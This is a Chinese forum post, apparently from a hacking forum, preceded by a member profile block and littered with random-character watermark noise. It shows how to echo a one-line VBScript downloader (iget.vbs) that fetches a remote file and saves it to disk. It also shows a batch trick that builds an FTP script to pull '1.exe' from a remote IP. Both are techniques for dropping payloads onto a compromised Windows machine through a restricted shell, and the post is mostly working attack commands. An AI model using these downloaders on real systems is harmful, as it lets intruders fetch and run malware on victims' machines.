- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: " M6 H" r. Z5 p: [
1.iget.vbs一次写入 6 u" t% z) b2 q+ L0 s2 n+ _
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 5 l0 \5 P8 p& y
% q9 I0 B5 I7 ~1 j- L& \. s
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
; S$ ?' l8 U! n+ [ R& s1 I1 i: ^8 I% l0 j. C
这样我们可以一次echo成功,echo版本: + Z! X$ T$ z! j& h
$ c- v$ H6 |+ h- }- aecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
+ v0 m& d1 D3 v- v' x# M+ U, ?& c. ]* z+ |# D! c
) L/ N3 u4 A$ g% ^+ ]2.bat调用ftp脚本的写法(by envymask) 0 {$ Q7 o* X$ D. A3 T7 o8 @
3 u Z2 Q# c6 d& C# m$ T3 @echo ftp>1.vbs
- A" }3 S+ u3 L' T8 F5 yecho open ip>2.vbs $ p) }0 j) |4 ]6 f8 h* {) b
echo u>3.vbs , Q& u( k1 @; r
echo s>4.vbs
" B+ E- {& U8 M8 P. h9 Z, ?echo binary>5.vbs 4 g& e" F; Y8 j( Y3 A8 D" r y
echo get 1.exe>6.vbs
W, v5 T1 y2 k8 _8 c r% x# oecho bay>7.vbs . n o# }2 A N/ _
4 ~" }5 P, C/ g4 V
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs . Y5 p6 a$ A! h+ O4 H: E
</P> |
zan
|